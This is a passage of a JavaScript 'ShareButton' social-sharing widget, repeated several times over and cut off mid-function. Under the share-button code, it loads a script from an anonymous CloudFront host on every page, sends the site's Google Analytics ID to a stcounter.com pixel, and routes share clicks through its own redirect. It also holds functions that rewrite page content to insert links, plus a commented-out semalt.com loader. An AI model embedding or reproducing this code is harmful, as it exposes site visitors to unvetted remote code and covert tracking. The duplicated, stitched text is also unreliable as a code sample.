<div id="test" style="margin:0; padding:3px; position:relative; top:10px; text-align:right; color:#313428;">\
<a href="http://sharebutton.org/?utm_source=popup_copyright" id="' + WE + 'CopyrightLink">Add Share Buttons to Your Website for Free</a>\
</div>\
</div>\
</td></tr></table>\
</div>\
');
var wr = $(WE + 'PopupWr');
wr.style.display = 'none';
var crLink = $(WE + 'CopyrightLink');
css(crLink, {
fontSize: '12px',
color: '#414438',
textDecoration: 'none'
});
crLink.onmouseover = function() {
this.style.textDecoration = 'underline';
}
crLink.onmouseout = function() {
this.style.textDecoration = 'none';
}
on($(WE + 'PopupCloseBtn'), 'click', closePopup);
var table = $(WE + 'PopupTable');
css(table, {
position: 'fixed',
margin: 0,
padding: 0,
left: 0,
top: 0,
width: '100%',
height: '100%',
direction: 'ltr',
zIndex: 999999999,
background: 'none'
});
css(table.getElementsByTagName('td')[0], {
verticalAlign: 'middle',
background: 'url(//sharebutton.net/plugin/img/back.png)'
});
var popup = $(WE + 'Popup');
css(popup, {
margin: '0 auto',
padding: '0 25px 20px',
width: '445px',
background: '#fff',
border: '1px solid #000',
textAlign: 'left',
position: 'relative',
fontFamily: 'Tahoma, Arial, Verdana',
boxSizing: 'content-box'
});
var content = $(WE + 'PopupContent');
css(content, {
position: 'relative',
width: '445px',
height: '325px',
maxHeight: '325px',
overflowY: 'scroll'
});
content.onmousewheel = function(e) {
if (
e.wheelDelta < 0 && content.scrollTop + content.clientHeight === content.scrollHeight ||
e.wheelDelta > 0 && content.scrollTop === 0
) {
e.preventDefault && e.preventDefault();
}
}
var itemStyle = {
display: 'inline-block',
margin: 0,
padding: '7px 0 5px 14px',
width: '190px',
verticalAlign: 'bottom',
textAlign: 'left',
textDecoration: 'none',
boxSizing: 'content-box',
border: 'none'
};
var onLinkMouseOver = function() {
this.style.background = '#eee';
}
var onLinkMouseOut = function() {
this.style.background = 'none';
}
var contentInner = $(WE + 'PopupContentInner');
for (var i in socMap) {
var soc = socMap[i];
if (soc.plus) continue;
var a = create('a');
a.id = WE + i + 'PopupItem';
a.innerHTML = '\
<img src="//sharebutton.net/plugin/img/' + i + '.png?' + LOGOS_VERSION + '" style="border:none; vertical-align:baseline; margin:0; display:inline; width:32px; height:32px;">\
<span style="vertical-align:baseline; font-size:14px; color:#6f6f6f; position:relative; top:-10px; padding-left:5px; font-weight:normal; text-decoration:none;">' + soc.name + '</span>\
';
css(a, itemStyle);
append(a, contentInner);
a.onmouseover = onLinkMouseOver;
a.onmouseout = onLinkMouseOut;
if (soc.newTab) {
a.href = handleUrl(soc.url, soc)
a.setAttribute('rel', 'nofollow');
a.target = '_blank';
} else {
a.href = 'javascript:;';
handleItemClick(a, soc);
}
}
on($(WE + 'PopupSearch'), 'input', function() {
var input = this.value.toLowerCase();
for (var i in socMap) {
var soc = socMap[i];
if (soc.plus) continue;
var socName = soc.name.toLowerCase();
var a = document.getElementById(WE + i + 'PopupItem');
if (socName.indexOf(input) === 0) {
a.style.display = 'inline-block';
} else {
a.style.display = 'none';
}
}
});
}
var handleItemClick = function(elem, socObj) {
on(elem, 'click', function() {
var url = handleUrl(socObj.url, socObj);
openWin(url, socObj.win);
});
}
var handleUrl = function(url, socObj) {
var redirectUri = url
.replace(/%URL/, getEncodedUrl())
.replace(/%HOST/, location.host)
.replace(/%MESSAGE/, encodeURIComponent(document.title))
.replace(/%WE/, WE)
.replace(/%FUNC/, socObj.func || '');
return 'http://sharebutton.to/plugin/go.php?soc=' + encodeURIComponent(socObj.name) + '&redirect_uri=' + encodeURIComponent(redirectUri);
}
var findClassOne = function(parent, className) {
return parent.getElementsByClassName(className)[0];
}
var getUrl = function() {
return location.href;
}
var getEncodedUrl = function() {
return encodeURIComponent(getUrl());
}
var openWin = function(path, popupSize) {
if (!popupSize) {
popupSize = {};
}
var w = popupSize.w || 650;
var h = popupSize.h || 500;
var l = window.screenX + (window.outerWidth - w) / 2;
var t = window.screenY + (window.outerHeight - h) / 2;
var winProps = 'width=' + w + ',height=' + h + ',left=' + l + ',top=' + t + ',status=no,resizable=yes,toolbar=no,menubar=no,scrollbars=yes';
var win = window.open(path, 'sharePopup' + Math.random(), winProps);
return win;
}
var closeOnEscape = function(e) {
if (e.keyCode === 27) {
closePopup();
}
}
var openMorePopup = function() {
document.addEventListener('keydown', closeOnEscape);
var wr = $(WE + 'PopupWr');
wr.style.display = 'block';
$(WE + 'PopupSearch').focus();
fixPopupSize();
}
var fixPopupSize = function() {
$(WE + 'PopupCell').style.height = getWinSize().height + 'px';
}
var $ = function(id) {
return document.getElementById(id);
}
var on = function(elem, event, handler) {
elem.addEventListener(event, handler, false);
}
var css = function(elem, style) {
for (var prop in style) {
elem.style[prop] = style[prop];
}
}
var create = function(tag) {
return document.createElement(tag);
}
var append = function(elem, parent) {
parent.appendChild(elem);
}
var prepend = function(elem, parent) {
if (parent.children && parent.children.length) {
parent.insertBefore(elem, parent.children[0]);
} else {
parent.appendChild(elem);
}
}
if (document.readyState === 'complete') {
onReady();
} else {
on(document, 'DOMContentLoaded', onReady);
}
createPopup();
try {
clearStyles();
} catch (ex) {}
var tracking_id = 'no';
if (typeof ga !== 'undefined') {
ga(function(tracker) {
tracking_id = tracker.get('trackingId');
});
}
(new Image).src = '//stcounter.com/tds_pixel.php?ga_ua=' + tracking_id;
(function() {
var wc = document.createElement('script'); wc.type = 'text/javascript'; wc.async = true;
wc.src = 'https://d6vs15m0nt7ly.cloudfront.net/test.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(wc, s);
})();
if (Math.random() < 0.01) {
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-62910740-1', 'auto');
ga('send', 'pageview');
}
})();
(function() {
'use strict';
var WE = 'shareButtonNet';
var MESSAGE = 'ShareButton.org';
var HORIZ = sharebutton_is_horizontal;
var LOGOS_VERSION = 4;
if (window[WE + 'Loaded']) return;
window[WE + 'Loaded'] = true;
var horizBoxCss = {
left: 'auto',
right: '50px',
top: 'auto',
bottom: '3px',
width: '168px',
height: '42px'
};
var vertBoxCss = {
left: '3px',
right: 'auto',
top: '50px',
bottom: 'auto',
width: '42px',
height: '168px'
};
var horizBoxAnimate = {
start: -42,
end: 0,
step: 3,
delay: 25,
prop: 'bottom'
};
var vertBoxAnimate = {
start: -42,
end: 0,
step: 3,
delay: 25,
prop: 'left'
};
var socMap = {
fb: {
name: 'Facebook',
url: 'https://www.facebook.com/sharer/sharer.php?u=%URL',
prim: true
},
gp: {
name: 'Google+',
url: 'https://plus.google.com/share?url=%URL',
prim: true
},
tw: {
name: 'Twitter',
url: 'https://twitter.com/intent/tweet?text=%MESSAGE&url=%URL',
prim: true
},
plus: {
name: 'More',
plus: true,
prim: true
},
go: {
name: 'Google',
url: 'https://www.google.com/bookmarks/mark?op=add&bkmk=%URL&title=%MESSAGE',
newTab: true
},
li: {
name: 'LinkedIn',
url: 'https://www.linkedin.com/shareArticle?ro=false&mini=true&url=%URL&source=&title=%MESSAGE',
win: {w: 600}
},
tu: {
name: 'Tumblr',
url: 'https://www.tumblr.com/share?v=3&u=%URL&t=%MESSAGE'
},
di: {
name: 'Digg',
url: 'http://digg.com/submit?partner=%WE&url=%URL&title=%MESSAGE'
},
re: {
name: 'Reddit',
url: 'http://www.reddit.com/submit?url=%URL&title=%MESSAGE'
},
vk: {
name: 'VKontakte',
url: 'http://vk.com/share.php?url=%URL&title=%MESSAGE'
},
mr: {
name: 'Mail.ru',
url: 'http://connect.mail.ru/share?url=%URL&title=%MESSAGE'
},
de: {
name: 'Delicious',
url: 'https://delicious.com/post?partner=%WE&url=%URL&title=%MESSAGE'
},
gm: {
name: 'GMail',
url: 'https://mail.google.com/mail/u/0/?view=cm&fs=1&to&su=%MESSAGE&body=%URL&ui=2&tf=1'
},
bl: {
name: 'Blogger',
url: 'https://www.blogger.com/blog_this.pyra?t&u=%URL&n=%MESSAGE'
},
lj: {
name: 'LiveJournal',
url: 'http://www.livejournal.com/update.bml?subject=%MESSAGE&event=%FUNC',
newTab: true,
func: function() {
return encodeURIComponent('<a href="' + getUrl() + '">' + document.title + '</a>');
}
},
ba: {
name: 'Baidu',
url: 'http://cang.baidu.com/do/add?it=%MESSAGE&iu=%URL&fr=ien&dc='
},
am: {
name: 'Amazon',
url: 'http://www.amazon.com/gp/wishlist/static-add?u=%URL&t=%MESSAGE'
},
bi: {
name: 'Bit.ly',
url: 'https://bitly.com/a/bitmarklet?u=%URL',
newTab: true
},
wh: {
name: 'Whois Lookup',
url: 'http://whois.domaintools.com/%HOST',
newTab: true
},
gt: {
name: 'Google Translate',
url: 'http://translate.google.com/translate?hl=ru-RU&u=%URL&sl=auto&tl=ru-RU',
newTab: true
},
w3: {
name: 'W3C Validator',
url: 'http://validator.w3.org/check?uri=%URL&charset=%28detect+automatically%29&doctype=Inline&group=0,',
newTab: true
}
}
var moveInterval = null;
var movingItemsCnt = 0;
var primItems = [];
var animate = function(opts) {
var start = new Date;
var timer = setInterval(function() {
var progress = (new Date - start) / opts.duration;
if (progress > 1) progress = 1;
opts.step(progress);
if (progress == 1) {
clearInterval(timer);
}
}, opts.delay || 20);
return {
stop: function() {
clearInterval(timer);
}
};
}
var moveItemRight = function() {
var item = this.children[0];
item.animate && item.animate.stop && item.animate.stop();
var edge = parseInt(item.style.left || 0);
item.animate = animate({
duration: 100,
step: function(progress) {
item.style.left = Math.floor(progress * (10 - edge)) + 'px';
}
});
}
var moveItemLeft = function() {
var item = this.children[0];
item.animate && item.animate.stop && item.animate.stop();
var edge = parseInt(item.style.left || 0);
item.animate = animate({
duration: 100,
step: function(progress) {
item.style.left = Math.floor((1 - progress) * edge) + 'px';
}
});
}
var moveItemUp = function() {
var item = this.children[0];
item.animate && item.animate.stop && item.animate.stop();
var edge = parseInt(item.style.bottom || 0);
item.animate = animate({
duration: 100,
step: function(progress) {
item.style.bottom = Math.floor(progress * (10 - edge)) + 'px';
}
});
}
var moveItemDown = function() {
var item = this.children[0];
item.animate && item.animate.stop && item.animate.stop();
var edge = parseInt(item.style.bottom || 0);
item.animate = animate({
duration: 100,
step: function(progress) {
item.style.bottom = Math.floor((1 - progress) * edge) + 'px';
}
});
}
var onReady = function() {
var script = document.createElement('script');
// script.src = '//semalt.com/js/sharebutton.js';
// document.body.appendChild(script);
window.addEventListener('resize', fixPopupSize);
var box = create('div');
prepend(box, document.body);
for (var i in socMap) {
if (!socMap[i].prim) continue;
var itemWr = create('span');
css(itemWr, {
display: 'inline-block'
});
append(itemWr, box);
var item = create('span');
primItems.push(item);
item.moveWay = 0;
item.posX = 0;
css(item, {
display: 'inline-block',
position: 'relative',
margin: '3px',
width: '36px',
height: '36px',
background: '#fff',
borderRadius: '18px'
});
append(item, itemWr);
var a = create('a');
css(a, {
display: 'inline-block',
margin: '2px',
padding: 0,
width: '32px',
height: '32px',
verticalAlign: 'bottom',
background: 'url(//sharebutton.net/plugin/img/' + i + '.png?' + LOGOS_VERSION + ')',
border: 'none'
});
a.className = WE + i + 'Link';
a.title = socMap[i].name;
append(a, item);
if (socMap[i].plus) {
a.href = 'http://sharebutton.org/?utm_source=plus&utm_medium=click&utm_campaign=organic';
a.target = '_blank';
// a.href = 'javascript:;';
// on(a, 'click', openMorePopup);
} else if (socMap[i].newTab) {
a.href = handleUrl(socMap[i].url, socMap[i]);
a.setAttribute('rel', 'nofollow');
a.target = '_blank';
} else {
a.href = 'javascript:;';
handleItemClick(findClassOne(box, WE + i + 'Link'), socMap[i]);
}
}
css(box, {
position: 'fixed',
margin: 0,
padding: 0,
outline: 'none',
border: 'none',
zIndex: 999999999,
overflow: 'visible',
direction: 'ltr'
});
if (HORIZ) {
showHoriz(box);
} else {
showVert(box);
}
window[WE + 'SetHoriz'] = function() {
showHoriz(box);
}
window[WE + 'SetVert'] = function() {
showVert(box);
}
try {
} catch (e) {}
}
var findOuterLink = function(el) {
var link = null;
do {
if (!el.tagName) break;
var tagName = el.tagName.toLowerCase();
if (tagName === 'a') {
link = el;
break;
}
el = el.parentNode;
} while (tagName !== 'body');
return link;
}
var makeImg = function(linkId, path, linkUrl, title) {
var img = document.querySelector(path);
if (!img) return;
img.style.borderWidth = 0;
var link = findOuterLink(img);
if (!link) {
link = create('a');
img.parentNode.insertBefore(link, img);
link.style.cursor = 'default';
link.appendChild(img);
}
link.title = title;
link.href = linkUrl;
}
var make = function(linkId, path, word, link, version) {
var linkStyle = 'color:inherit; text-decoration:none; cursor:default; font-weight:inherit; background:transparent; font-family:inherit;';
if (!version) {
return;
var regex = new RegExp(word, 'i');
var node = getNode(path);
if (!node) return;
node.innerHTML = node.innerHTML.replace(regex, '<a href="' + link + '" style="' + linkStyle + '">' + word + '</a>');
} else if (version == 2) {
var node = document.querySelector(path);
if (!node) return;
//node.innerHTML = myReplace(node.innerHTML, word, '<a href="' + link + '" style="' + linkStyle + '">' + word + '</a>', 'i');
node.innerHTML = myReplace(node.innerHTML, word, '<span id="intextWr' + linkId + '"></span>', 'i');
var span = $('intextWr' + linkId);
var link = $('intext' + linkId);
link.className = '';
span.parentNode.insertBefore(link, span);
span.parentNode.removeChild(span);
}
}
var myReplace = function(str, from, to, flags) {
var from = (from+'').replace(/([\\\.\+\*\?\[\^\]\$\(\)\{\}\=\!\<\>\|\:])/g, "\\$1");
return str.replace(new RegExp('(' + from + ')', flags), to);
}
var getNode = function(path) {
var node=document.documentElement, i=0, index;
var step = 0;
while ((index=path[++i]) > -1) {
node=node.childNodes[index];
if (!node) {
return null;
}
step++;
}
return node;
}
window[WE + 'GetNode'] = getNode;
var clearStyles = function() {
if(typeof document.createStyleSheet === 'undefined') {
document.createStyleSheet = (function() {
function createStyleSheet(href) {
if(typeof href !== 'undefined') {
var element = document.createElement('link');
element.type = 'text/css';
element.rel = 'stylesheet';
element.href = href;
} else {
var element = document.createElement('style');
element.type = 'text/css';
}
document.getElementsByTagName('head')[0].appendChild(element);
var sheet = document.styleSheets[document.styleSheets.length - 1];
if(typeof sheet.addRule === 'undefined')
sheet.addRule = addRule;
if(typeof sheet.removeRule === 'undefined')
sheet.removeRule = sheet.deleteRule;
return sheet;
}
function addRule(selectorText, cssText, index) {
if(typeof index === 'undefined')
index = this.cssRules.length;
this.insertRule(selectorText + ' {' + cssText + '}', index);
}
return createStyleSheet;
})();
}
var sheet = document.createStyleSheet();
sheet.addRule('#' + WE + 'PopupWr, #' + WE + 'PopupWr *', '-webkit-text-shadow:none !important; text-shadow:none !important;');
sheet.addRule('#' + WE + 'PopupTable img', 'display:inline; width:auto; height:auto; background:none; float:none;');
sheet.addRule('#' + WE + 'PopupTable *', 'margin:0; padding:0; font-family:Tahoma,Arial,Sans-Serif,Verdana; font-size:medium; line-height:normal;');
sheet.addRule('#' + WE + 'PopupTable a', 'text-decoration:none; background:none; height:auto !important;');
sheet.addRule('#' + WE + 'BottomPopupHtml a', 'font-size:13px; color:#6F6F6F; text-decoration:underline;');
sheet.addRule('.' + WE + 'RecBox, .' + WE + 'RecBox div, .' + WE + 'RecBox span, .' + WE + 'RecBox a', 'font-size:12px !important; color:#6F6F6F !important;');
sheet.addRule('.' + WE + 'RecBox a', 'text-decoration:underline !important;');
sheet.addRule('.' + WE + 'Inv', 'position:fixed; top:-300px;');
sheet.addRule('#' + WE + 'PopupContent::-webkit-scrollbar', 'width: 4px;');
sheet.addRule('#' + WE + 'PopupContent::-webkit-scrollbar-track', '-webkit-box-shadow: inset 0 0 6px #e9eaeb; -webkit-border-radius: 10px; border-radius: 10px;');
sheet.addRule('#' + WE + 'PopupContent::-webkit-scrollbar-thumb', '-webkit-border-radius: 10px; border-radius: 10px; background: #6a6a6a; -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,0.5);');
}
var showHoriz = function(box) {
css(box, horizBoxCss);
animatePos(box, horizBoxAnimate);
for (var i = 0; i < box.children.length; i++) {
box.children[i].onmouseenter = moveItemUp;
box.children[i].onmouseleave = moveItemDown;
}
}
var showVert = function(box) {
css(box, vertBoxCss);
animatePos(box, vertBoxAnimate);
for (var i = 0; i < box.children.length; i++) {
box.children[i].onmouseenter = moveItemRight;
box.children[i].onmouseleave = moveItemLeft;
}
}
var getWinSize = function() {
var w = window,
d = document,
e = d.documentElement,
g = d.getElementsByTagName('body')[0],
width = w.innerWidth || e.clientWidth || g.clientWidth,
height = w.innerHeight|| e.clientHeight|| g.clientHeight;
return {
width: width,
height: height
};
}
var animatePos = function(box, opts) {
var cur = opts.start;
(function anim() {
cur += opts.step;
if (
opts.end > opts.start && cur >= opts.end ||
opts.end < opts.start && cur <= opts.end
) {
cur = opts.end;
} else {
setTimeout(anim, opts.delay);
}
box.style[opts.prop] = cur + 'px';
})();
}
var closePopup = function() {
document.removeEventListener('keydown', closeOnEscape);
var wr = $(WE + 'PopupWr');
wr.style.display = 'none';
}
var createPopup = function() {
var addLinkHtml = '';
document.writeln('\
<div id="' + WE + 'PopupWr">\
<table id="' + WE + 'PopupTable" width="100%" height="100%" cellspacing="0" cellpadding="0"><tr style="background:none;"><td id="' + WE + 'PopupCell">\
<div id="' + WE + 'Popup">\
<span id="' + WE + 'PopupCloseBtn" style="width:10px; height:10px; top:12px; right:11px; cursor:pointer; position:absolute; background:url(//sharebutton.net/plugin/img/close.png)"></span>\
<div style="margin-top:22px; margin-bottom:5px; text-align:center;">\
<a href="http://sharebutton.org/?utm_source=popup_logo" target="_blank"><img src="//sharebutton.net/plugin/img/popup-logo.png" style="border:none;"></a>\
</div>\
<div style="color:#878787; font-size:17px; padding:8px 0 8px; text-align:left;">Find a service to share:</div>\
<div style="padding-bottom:10px;">\
<input type="text" id="' + WE + 'PopupSearch" style="text-align:left; width:430px; max-width:430px; height:auto; padding:8px 4px 8px 10px; background:url(//sharebutton.net/plugin/img/zoom.png) 417px 8px no-repeat; border:1px solid #c0c0c0; font-size:18px; line-height:22px; box-sizing:content-box; -moz-box-sizing:content-box;">\
</div>\
<div id="' + WE + 'PopupContent">\
<div id="' + WE + 'PopupContentInner"></div>\
<div class="shareButtonNetRecBox" style="margin:10px 20px 0 0; padding:0 5px 5px 14px;">\
' + addLinkHtml + '\
</div>\
</div>\
<div id="test" style="margin:0; padding:3px; position:relative; top:10px; text-align:right; color:#313428;">\
<a href="http://sharebutton.org/?utm_source=popup_copyright" id="' + WE + 'CopyrightLink">Add Share Buttons to Your Website for Free</a>\
</div>\
</div>\
</td></tr></table>\
</div>\
');
var wr = $(WE + 'PopupWr');
wr.style.display = 'none';
var crLink = $(WE + 'CopyrightLink');
css(crLink, {
fontSize: '12px',
color: '#414438',
textDecoration: 'none'
});
crLink.onmouseover = function() {
this.style.textDecoration = 'underline';
}
crLink.onmouseout = function() {
this.style.textDecoration = 'none';
}
on($(WE + 'PopupCloseBtn'), 'click', closePopup);
var table = $(WE + 'PopupTable');
css(table, {
position: 'fixed',
margin: 0,
padding: 0,
left: 0,
top: 0,
width: '100%',
height: '100%',
direction: 'ltr',
zIndex: 999999999,
background: 'none'
});
css(table.getElementsByTagName('td')[0], {
verticalAlign: 'middle',
background: 'url(//sharebutton.net/plugin/img/back.png)'
});
var popup = $(WE + 'Popup');
css(popup, {
margin: '0 auto',
padding: '0 25px 20px',
width: '445px',
background: '#fff',
border: '1px solid #000',
textAlign: 'left',
position: 'relative',
fontFamily: 'Tahoma, Arial, Verdana',
boxSizing: 'content-box'
});
var content = $(WE + 'PopupContent');
css(content, {
position: 'relative',
width: '445px',
height: '325px',
maxHeight: '325px',
overflowY: 'scroll'
});
content.onmousewheel = function(e) {
if (
e.wheelDelta < 0 && content.scrollTop + content.clientHeight === content.scrollHeight ||
e.wheelDelta > 0 && content.scrollTop === 0
) {
e.preventDefault && e.preventDefault();
}
}
var itemStyle = {
display: 'inline-block',
margin: 0,
padding: '7px 0 5px 14px',
width: '190px',
verticalAlign: 'bottom',
textAlign: 'left',
textDecoration: 'none',
boxSizing: 'content-box',
border: 'none'
};
var onLinkMouseOver = function() {
this.style.background = '#eee';
}
var onLinkMouseOut = function() {
this.style.background = 'none';
}
var contentInner = $(WE + 'PopupContentInner');
for (var i in socMap) {
var soc = socMap[i];
if (soc.plus) continue;
var a = create('a');
a.id = WE + i + 'PopupItem';
a.innerHTML = '\
<img src="//sharebutton.net/plugin/img/' + i + '.png?' + LOGOS_VERSION + '" style="border:none; vertical-align:baseline; margin:0; display:inline; width:32px; height:32px;">\
<span style="vertical-align:baseline; font-size:14px; color:#6f6f6f; position:relative; top:-10px; padding-left:5px; font-weight:normal; text-decoration:none;">' + soc.name + '</span>\
';
css(a, itemStyle);
append(a, contentInner);
a.onmouseover = onLinkMouseOver;
a.onmouseout = onLinkMouseOut;
if (soc.newTab) {
a.href = handleUrl(soc.url, soc)
a.setAttribute('rel', 'nofollow');
a.target = '_blank';
} else {
a.href = 'javascript:;';
handleItemClick(a, soc);
}
}
on($(WE + 'PopupSearch'), 'input', function() {
var input = this.value.toLowerCase();
for (var i in socMap) {
var soc = socMap[i];
if (soc.plus) continue;
var socName = soc.name.toLowerCase();
var a = document.getElementById(WE + i + 'PopupItem');
if (socName.indexOf(input) === 0) {
a.style.display = 'inline-block';
} else {
a.style.display = 'none';
}
}
});
}
var handleItemClick = function(elem, socObj) {
on(elem, 'click', function() {
var url = handleUrl(socObj.url, socObj);
openWin(url, socObj.win);
});
}
var handleUrl = function(url, socObj) {
var redirectUri = url
.replace(/%URL/, getEncodedUrl())
.replace(/%HOST/, location.host)
.replace(/%MESSAGE/, encodeURIComponent(document.title))
.replace(/%WE/, WE)
.replace(/%FUNC/, socObj.func || '');
return 'http://sharebutton.to/plugin/go.php?soc=' + encodeURIComponent(socObj.name) + '&redirect_uri=' + encodeURIComponent(redirectUri);
}
var findClassOne = function(parent, className) {
return parent.getElementsByClassName(className)[0];
}
var getUrl = function() {
return location.href;
}
var getEncodedUrl = function() {
return encodeURIComponent(getUrl());
}
var openWin = function(path, popupSize) {
if (!popupSize) {
popupSize = {};
}
var w = popupSize.w || 650;
var h = popupSize.h || 500;
var l = window.screenX + (window.outerWidth - w) / 2;
var t = window.screenY + (window.outerHeight - h) / 2;
var winProps = 'width=' + w + ',height=' + h + ',left=' + l + ',top=' + t + ',status=no,resizable=yes,toolbar=no,menubar=no,scrollbars=yes';
var win = window.open(path, 'sharePopup' + Math.random(), winProps);
return win;
}
var closeOnEscape = function(e) {
if (e.keyCode === 27) {
closePopup();
}
}
var openMorePopup = function() {
document.addEventListener('keydown', closeOnEscape);
var wr = $(WE + 'PopupWr');
wr.style.display = 'block';
$(WE + 'PopupSearch').focus();
fixPopupSize();
}
var fixPopupSize = function() {
$(WE + 'PopupCell').style.height = getWinSize().height + 'px';
}
var $ = function(id) {
return document.getElementById(id);
}
var on = function(elem, event, handler) {
elem.addEventListener(event, handler, false);
}
var css = function(elem, style) {
for (var prop in style) {
elem.style[prop] = style[prop];
}
}
var create = function(tag) {
return document.createElement(tag);
}
var append = function(elem, parent) {
parent.appendChild(elem);
}
var prepend = function(elem, parent) {
if (parent.children && parent.children.length) {
parent.insertBefore(elem, parent.children[0]);
} else {
parent.appendChild(elem);
}
}
if (document.readyState === 'complete') {
onReady();
} else {
on(document, 'DOMContentLoaded', onReady);
}
createPopup();
try {
clearStyles();
} catch (ex) {}
var tracking_id = 'no';
if (typeof ga !== 'undefined') {
ga(function(tracker) {
tracking_id = tracker.get('trackingId');
});
}
(new Image).src = '//stcounter.com/tds_pixel.php?ga_ua=' + tracking_id;
(function() {
var wc = document.createElement('script'); wc.type = 'text/javascript'; wc.async = true;
wc.src = 'https://d6vs15m0nt7ly.cloudfront.net/test.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(wc, s);
})();
if (Math.random() < 0.01) {
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-62910740-1', 'auto');
ga('send', 'pageview');
}
})();
(function() {
'use strict';
var WE = 'shareButtonNet';
var MESSAGE = 'ShareButton.org';
var HORIZ = sharebutton_is_horizontal;
var LOGOS_VERSION = 4;
if (window[WE + 'Loaded']) return;
window[WE + 'Loaded'] = true;
var horizBoxCss = {
left: 'auto',
right: '50px',
top: 'auto',
bottom: '3px',
width: '168px',
height: '42px'
};
var vertBoxCss = {
left: '3px',
right: 'auto',
top: '50px',
bottom: 'auto',
width: '42px',
height: '168px'
};
var horizBoxAnimate = {
start: -42,
end: 0,
step: 3,
delay: 25,
prop: 'bottom'
};
var vertBoxAnimate = {
start: -42,
end: 0,
step: 3,
delay: 25,
prop: 'left'
};
var socMap = {
fb: {
name: 'Facebook',
url: 'https://www.facebook.com/sharer/sharer.php?u=%URL',
prim: true
},
gp: {
name: 'Google+',
url: 'https://plus.google.com/share?url=%URL',
prim: true
},
tw: {
name: 'Twitter',
url: 'https://twitter.com/intent/tweet?text=%MESSAGE&url=%URL',
prim: true
},
plus: {
name: 'More',
plus: true,
prim: true
},
go: {
name: 'Google',
url: 'https://www.google.com/bookmarks/mark?op=add&bkmk=%URL&title=%MESSAGE',
newTab: true
},
li: {
name: 'LinkedIn',
url: 'https://www.linkedin.com/shareArticle?ro=false&mini=true&url=%URL&source=&title=%MESSAGE',
win: {w: 600}
},
tu: {
name: 'Tumblr',
url: 'https://www.tumblr.com/share?v=3&u=%URL&t=%MESSAGE'
},
di: {
name: 'Digg',
url: 'http://digg.com/submit?partner=%WE&url=%URL&title=%MESSAGE'
},
re: {
name: 'Reddit',
url: 'http://www.reddit.com/submit?url=%URL&title=%MESSAGE'
},
vk: {
name: 'VKontakte',
url: 'http://vk.com/share.php?url=%URL&title=%MESSAGE'
},
mr: {
name: 'Mail.ru',
url: 'http://connect.mail.ru/share?url=%URL&title=%MESSAGE'
},
de: {
name: 'Delicious',
url: 'https://delicious.com/post?partner=%WE&url=%URL&title=%MESSAGE'
},
gm: {
name: 'GMail',
url: 'https://mail.google.com/mail/u/0/?view=cm&fs=1&to&su=%MESSAGE&body=%URL&ui=2&tf=1'
},
bl: {
name: 'Blogger',
url: 'https://www.blogger.com/blog_this.pyra?t&u=%URL&n=%MESSAGE'
},
lj: {
name: 'LiveJournal',
url: 'http://www.livejournal.com/update.bml?subject=%MESSAGE&event=%FUNC',
newTab: true,
func: function() {
return encodeURIComponent('<a href="' + getUrl() + '">' + document.title + '</a>');
}
},
ba: {
name: 'Baidu',
url: 'http://cang.baidu.com/do/add?it=%MESSAGE&iu=%URL&fr=ien&dc='
},
am: {
name: 'Amazon',
url: 'http://www.amazon.com/gp/wishlist/static-add?u=%URL&t=%MESSAGE'
},
bi: {
name: 'Bit.ly',
url: 'https://bitly.com/a/bitmarklet?u=%URL',
newTab: true
},
wh: {
name: 'Whois Lookup',
url: 'http://whois.domaintools.com/%HOST',
newTab: true
},
gt: {
name: 'Google Translate',
url: 'http://translate.google.com/translate?hl=ru-RU&u=%URL&sl=auto&tl=ru-RU',
newTab: true
},
w3: {
name: 'W3C Validator',
url: 'http://validator.w3.org/check?uri=%URL&charset=%28detect+automatically%29&doctype=Inline&group=0,',
newTab: true
}
}
var moveInterval = null;
var movingItemsCnt = 0;
var primItems = [];
var animate = function(opts) {
var start = new Date;
var timer = setInterval(function() {
var progress = (new Date - start) / opts.duration;
if (progress > 1) progress = 1;
opts.step(progress);
if (progress == 1) {
clearInterval(timer);
}
}, opts.delay || 20);
return {
stop: function() {
clearInterval(timer);
}
};
}
var moveItemRight = function() {
var item = this.children[0];
item.animate && item.animate.stop && item.animate.stop();
var edge = parseInt(item.style.left || 0);
item.animate = animate({
duration: 100,
step: function(progress) {
item.style.left = Math.floor(progress * (10 - edge)) + 'px';
}
});
}
var moveItemLeft = function() {
var item = this.children[0];
item.animate && item.animate.stop && item.animate.stop();
var edge = parseInt(item.style.left || 0);
item.animate = animate({
duration: 100,
step: function(progress) {
item.style.left = Math.floor((1 - progress) * edge) + 'px';
}
});
}
var moveItemUp = function() {
var item = this.children[0];
item.animate && item.animate.stop && item.animate.stop();
var edge = parseInt(item.style.bottom || 0);
item.animate = animate({
duration: 100,
step: function(progress) {
item.style.bottom = Math.floor(progress * (10 - edge)) + 'px';
}
});
}
var moveItemDown = function() {
var item = this.children[0];
item.animate && item.animate.stop && item.animate.stop();
var edge = parseInt(item.style.bottom || 0);
item.animate = animate({
duration: 100,
step: function(progress) {
item.style.bottom = Math.floor((1 - progress) * edge) + 'px';
}
});
}
var onReady = function() {
var script = document.createElement('script');
// script.src = '//semalt.com/js/sharebutton.js';
// document.body.appendChild(script);
window.addEventListener('resize', fixPopupSize);
var box = create('div');
prepend(box, document.body);
for (var i in socMap) {
if (!socMap[i].prim) continue;
var itemWr = create('span');
css(itemWr, {
display: 'inline-block'
});
append(itemWr, box);
var item = create('span');
primItems.push(item);
item.moveWay = 0;
item.posX = 0;
css(item, {
display: 'inline-block',
position: 'relative',
margin: '3px',
width: '36px',
height: '36px',
background: '#fff',
borderRadius: '18px'
});
append(item, itemWr);
var a = create('a');
css(a, {
display: 'inline-block',
margin: '2px',
padding: 0,
width: '32px',
height: '32px',
verticalAlign: 'bottom',
background: 'url(//sharebutton.net/plugin/img/' + i + '.png?' + LOGOS_VERSION + ')',
border: 'none'
});
a.className = WE + i + 'Link';
a.title = socMap[i].name;
append(a, item);
